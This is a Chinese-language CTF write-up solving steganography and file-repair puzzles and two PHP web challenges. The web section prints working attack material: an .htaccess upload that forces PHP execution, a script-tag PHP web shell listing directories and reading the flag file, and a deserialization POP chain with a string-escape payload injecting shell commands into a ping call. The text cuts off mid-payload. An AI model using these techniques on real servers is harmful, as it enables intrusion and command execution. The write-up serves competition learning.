写在前面
赛题迷之崩(赛方说:flag回显成了默认值,所以得到的不是正确flag,下线维护题目,但是已经有十几只队伍提交成功了啊?!接着下线维护了所有 PWN
和 Web
题型,重新上线过后除一二三血,其他队伍均需要重新提交…
其次就是最后环境变成了这样,无法销毁,无法延时,无法重开。
Misc
Welcome_to_QGB
base64
解码得到flag
找找GIF
aaa
发现文件头是 png
,我们直接改为 aaa.png
改完很明显发现图少了半截,直接更改高度,改完旋转一下图像得到 bbb.zip
的解压密码 fHKKjfido%^&v1
解压后得到 bbb
然后我们发现关键字符串 NETSCAPE2.0
这个字符串说明这个文件是 GIF
我们加上文件头 47 49 46 38 39 61
,同时文件名改为 bbb.gif
即可得到flag
大佬大佬
题目描述:获取图片的 lsb 隐写,然后修改图片尺寸
原图片
根据提示可以知道,图片是经过 lsb 隐写的,通过 kali 的 zsteg 命令把图片分离出来分离出来的图片
2. 根据题目提示和图片提示,很明显需要修改图片的尺寸,我们用 010 Editor 工具以16进制的方法打开图片,修改图片的宽度即可
3. 这里把代表宽度的 00 00 01 30 修改为和长度一样,即 00 00 01 63,得到图片,并发现 flag
或者
lsb
隐写,直接导出为 flag.png
然后修改文件高度即可
The fun picture
爆破出密码为 6g3T
我们发现 FUN.png 并不是真正的图片,通过 010 Editor 工具以16进制的方法打开,分析文件头发现是压缩包文件,修改后缀名解压后得到名为 flag7 的文件
根据 flag.txt 的提示,flag 和 flag7 均可能为图片,在其文件头部 0D 0A 1A 0A 前,
加 89 50 4E47 组成完整的 png 头部格式
得到两个二维码文件,扫描 flag7.png 后得到 base64 字符串
ZmxhZ3trcmVwNDkwZmptbDU4NG5nZmtsZG0ybmRsbTQwZ252an0=
直接打开 cmd5 进行解密,发现明文为 flag{krep490fjml584ngfkldm2ndlm40gnvj}
解压后三个文件flag
和 flag.txt
是用来迷惑我们的,通过16进制编辑器发现 FUN.png
实际上为 zip
压缩包文件, FUN.png
改为 FUN.zip
得到 flag3
,然后发现 flag3
缺少 png
文件头 89 50 4e 47
,添加后文件后缀改为 .png
扫码得到flag
B@tCh
根据文件内容特征判断为 BatchEncryption
([原创工具][201610]BatchEncryption - 批处理加密程序)加密后的文件,找了个解密脚本 还原BatchEncryption(201610版本)混淆的批处理文件
我们直接把第 17-19
行注释掉,同时 i
的值改为 9
。因为原本第 9-60
个字符为 ::BatchEncryption Build 201610 By gwsbhqt@163.com
字符串,但题目没有这个字符串,所以我们改为从第 9
个字符开始解密,(其实使用16进制编辑器在题目中加入这段字符串就不用修改脚本啦,但是感觉有点麻烦
Web
Upload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
|
<?php session_start(); echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Upload</title> <form action=\"\" method=\"post\" enctype=\"multipart/form-data\"> 上传文件<input type=\"file\" name=\"uploaded\" /> <input type=\"submit\" name=\"submit\" value=\"上传\" /> </form>"; error_reporting(0); if(!isset($_SESSION['user'])){ $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000)); } if(isset($_FILES['uploaded'])) { $target_path = getcwd() . "/upload/" . md5($_SESSION['user']); $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1); $uploaded_size = $_FILES['uploaded']['size']; $uploaded_tmp = $_FILES['uploaded']['tmp_name']; if(preg_match("/ph/i", strtolower($uploaded_ext))){ die("后缀名不可以有ph!"); } else{ if ((($_FILES["uploaded"]["type"] == " ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){ $content = file_get_contents($uploaded_tmp); if(preg_match("/\<\?/i", $content)){ die("em..........这不还是php吗"); } else{ mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true); move_uploaded_file($uploaded_tmp, $t_path); echo "{$t_path} succesfully uploaded!"; } } else{ die("上传类型这么明显!"); } } } ?>
|
黑盒测了一下,过滤了 ph
和 mime
,我们直接上传图片马,先上传一个 .htaccess
文件,把所有文件都当做 php
来执行
1 2 3 4 5 6 7 8 9 10 11 12
|
------WebKitFormBoundaryrFspz4AKexD8h06m Content-Disposition: form-data; name="uploaded"; filename=".htaccess" Content-Type: image/jpeg
SetHandler application/x-httpd-php
------WebKitFormBoundaryrFspz4AKexD8h06m Content-Disposition: form-data; name="submit"
上传 ------WebKitFormBoundaryrFspz4AKexD8h06m--
|
然后在用 JS
的方式写个 PHP
一句话,一开始写的最常见的一句话被过滤了,看了一下 phpinfo
发现命令执行函数全过滤掉了,反手使用内置函数,先用 var_dump()
和 scandir()
函数打印指定目录内容
1 2 3 4 5 6 7 8 9 10 11 12
|
------WebKitFormBoundaryrFspz4AKexD8h06m Content-Disposition: form-data; name="uploaded"; filename=".htaccess" Content-Type: image/jpeg
GIF89a <script language="php">var_dump(scandir('/var/'))</script>
------WebKitFormBoundaryrFspz4AKexD8h06m Content-Disposition: form-data; name="submit"
上传 ------WebKitFormBoundaryrFspz4AKexD8h06m--
|
然后在使用 highlight_file()
函数读取文件内容,得到flag。
1
|
GIF89a <script language="php">highlight_file('/var/flag')</script>
|
ezpop_new
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
|
<?php function filter($string) { $safe = array('system', 'fopen', 'fread', 'file_get_contents', 'flag'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'nonono', $string); } class PingUtils { function __call($name, $args) { system("ping -c4 ${args[0]}"); } } class Cindy { var $someone; var $phone; function call() { $this->phone->call($this->someone); } } class Bob { public $flag = True; public function __get($a) { if ($this->flag) { $cindy = new Cindy(); $cindy->someone = $_REQUEST['someone']; $cindy->phone = "p50";
|
审计后,找到反序列化最终的落脚点在 class PingUtils::__call()
中的 system("ping -c4 ${args[0]}");
,我们能控制 args[0]
参数 ,而且只需通过命令分隔符;
即可绕过 ping
命令执行想要的命令。那么一直往前推,即可找出整个POP链:
1 2 3 4 5 6 7 8 9 10 11 12
|
class Alice::__destruct() echo $this->c->b; class Bob::__wakeup() //绕过__wakeup() class Bob::__get($a) $cindy = unserialize(filter(serialize($cindy))); //字符串逃逸修改$cindy->phone = "p50"为$cindy->phone = "ls /flag" $cindy->call($someone); class Cindy::call() $this->phone->call($this->someone); class PingUtils::__call($name,$args) system("ping -c4 ${args[0]}");
|
反序列化过程中还涉及到了两个tricks:
绕过 __wakeup()
由于我们需要进入到 class Bob::__get($a)
的 if
子句中,但 Bob
对象在反序列化时首先会触发__wakeup()
,从而使得其 flag
属性为 False
。所以我们通过手动修改序列化流, 使得序列化流中所表示的属性个数大于真实属性个数时,这样会跳过__wakeup()
魔术方法的执行。
编写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
<?php class Alice { public $b; public $c; } class Bob { public $flag; } $a = new Alice(); $b = new Bob(); $b->flag = True; $a->c = $b; $a->b = 'unknow'; ?>
|
这里修改Alice
的属性个数或者 Bob
的属性个数应该都可以。
PHP字符串逃逸
利用 $cindy->someone = $_REQUEST['someone'];
逃逸出字符串,从而覆盖 class Bob::__get($a)
中 Cindy
对象的 phone
属性为 PingUtils
对象。而我们要执行命令也存储在 somesone
属性里。
因此最后完整的payload就是:
1
|
/?pop=O%3A5%3A%22Alice%22%3A3%3A%7Bs%3A1%3A%22b%22%3Bs%3A6%3A%22unknow%22%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22Bob%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bb%3A1%3B%7D%7D&someone=%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%
|